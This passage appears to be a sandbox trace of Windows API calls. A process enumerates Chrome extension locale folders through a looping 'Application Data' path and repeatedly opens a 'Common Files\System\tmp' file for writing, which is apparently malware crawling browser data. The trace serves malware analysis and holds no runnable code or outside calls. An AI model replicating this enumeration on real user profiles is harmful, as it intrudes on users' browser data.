Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.934] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.934] GetLastError () returned 0x12 [0141.934] AreFileApisANSI () returned 1 [0141.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.934] GetFileType (hFile=0x128) returned 0x1 [0141.934] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.934] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.935] GetLastError () returned 0x12 [0141.935] AreFileApisANSI () returned 1 [0141.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.935] GetFileType (hFile=0x128) returned 0x1 [0141.935] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.981] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.981] GetLastError () returned 0x12 [0141.981] AreFileApisANSI () returned 1 [0141.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.981] GetFileType (hFile=0x128) returned 0x1 [0141.981] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0141.982] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0141.982] GetLastError () returned 0x12 [0141.982] AreFileApisANSI () returned 1 [0141.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0141.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0141.982] GetFileType (hFile=0x128) returned 0x1 [0141.982] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.028] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.028] GetLastError () returned 0x12 [0142.028] AreFileApisANSI () returned 1 [0142.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.028] GetFileType (hFile=0x128) returned 0x1 [0142.028] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.029] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.029] GetLastError () returned 0x12 [0142.029] AreFileApisANSI () returned 1 [0142.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.029] GetFileType (hFile=0x128) returned 0x1 [0142.029] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.074] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.074] GetLastError () returned 0x12 [0142.074] AreFileApisANSI () returned 1 [0142.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.074] GetFileType (hFile=0x128) returned 0x1 [0142.075] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.075] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.075] GetLastError () returned 0x12 [0142.075] AreFileApisANSI () returned 1 [0142.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.075] GetFileType (hFile=0x128) returned 0x1 [0142.075] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.121] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.121] GetLastError () returned 0x12 [0142.121] AreFileApisANSI () returned 1 [0142.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.121] GetFileType (hFile=0x128) returned 0x1 [0142.122] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.122] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.122] GetLastError () returned 0x12 [0142.122] AreFileApisANSI () returned 1 [0142.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.122] GetFileType (hFile=0x128) returned 0x1 [0142.122] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.171] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.172] GetLastError () returned 0x12 [0142.172] AreFileApisANSI () returned 1 [0142.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.172] GetFileType (hFile=0x128) returned 0x1 [0142.172] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.172] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.172] GetLastError () returned 0x12 [0142.172] AreFileApisANSI () returned 1 [0142.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.172] GetFileType (hFile=0x128) returned 0x1 [0142.172] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.217] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.217] GetLastError () returned 0x12 [0142.217] AreFileApisANSI () returned 1 [0142.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.217] GetFileType (hFile=0x128) returned 0x1 [0142.217] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.218] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.218] GetLastError () returned 0x12 [0142.218] AreFileApisANSI () returned 1 [0142.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.218] GetFileType (hFile=0x128) returned 0x1 [0142.218] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.261] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.262] GetLastError () returned 0x12 [0142.262] AreFileApisANSI () returned 1 [0142.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.262] GetFileType (hFile=0x128) returned 0x1 [0142.262] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.262] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.262] GetLastError () returned 0x12 [0142.263] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0142.263] GetLastError () returned 0x12 [0142.263] AreFileApisANSI () returned 1 [0142.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0142.263] GetFileType (hFile=0x194) returned 0x1 [0142.263] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0142.263] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0142.263] GetLastError () returned 0x12 [0142.263] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0142.263] GetLastError () returned 0x12 [0142.263] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0142.264] GetLastError () returned 0x12 [0142.264] AreFileApisANSI () returned 1 [0142.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0142.264] GetFileType (hFile=0x18c) returned 0x1 [0142.264] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0142.264] AreFileApisANSI () returned 1 [0142.264] 